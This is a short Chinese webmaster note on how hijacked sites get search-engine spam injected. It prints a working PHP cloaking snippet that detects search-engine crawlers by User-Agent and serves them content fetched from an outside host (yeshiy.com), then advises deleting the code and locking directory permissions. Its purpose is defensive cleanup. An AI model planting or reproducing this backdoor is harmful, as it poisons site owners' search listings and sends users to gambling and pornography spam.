有糖的地方,就会引来苍蝇,有了流量后,网站就会有谋利者窥探。
不法者通过CC攻击或者搜索引擎(有些搜索引擎如某条蜘蛛,每天多达几万次的采集,不亚于CC攻击了,可能导致小网站安全成问题,可以通过.htaccess禁止)切入网站,对首页、列表页及内容页进行广告代码写入,获取挂接网站,让搜索引擎接入插入广告代码的网页,随意跳转,甚至是违法广告,如链接到色情网站、赌博网站、彩票网址或发票小广告信息等。如果你搜索域名时,发现搜索引擎收录的全是这种情况的信息,可能就要找找下面的代码。
引导搜索引擎污染目标域名代码例子:搜索引擎会收录代码中的网址内容,任意接入广告。
<?php
header('Content-Type:text/html;charset=gb2312');
$key= $_SERVER["HTTP_USER_AGENT"];
if(strpos($key,strtolower('HaosouSpider'))!== false||strpos($key,strtolower('baidu'))!== false||strpos($key,strtolower('Yisou'))!== false||strpos($key,strtolower('Sogou'))!== false||strpos($key,strtolower('YisouSpider'))!== false||strpos($key,strtolower('360Spider'))!== false||strpos($key,strtolower('Baiduspide'))!== false||strpos($key,strtolower('Soso'))!== false||strpos($key,strtolower('Yahoo'))!== false||strpos($key,strtolower('bingbot'))!== false )
{
date_default_timezone_set('PRC');
$TD_server = "http://yeshiy.com/";
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']);
echo $Content_mb;
}
?>
解决:找到这段代码删除,再把比如齐博,根目录权限设置为不可写。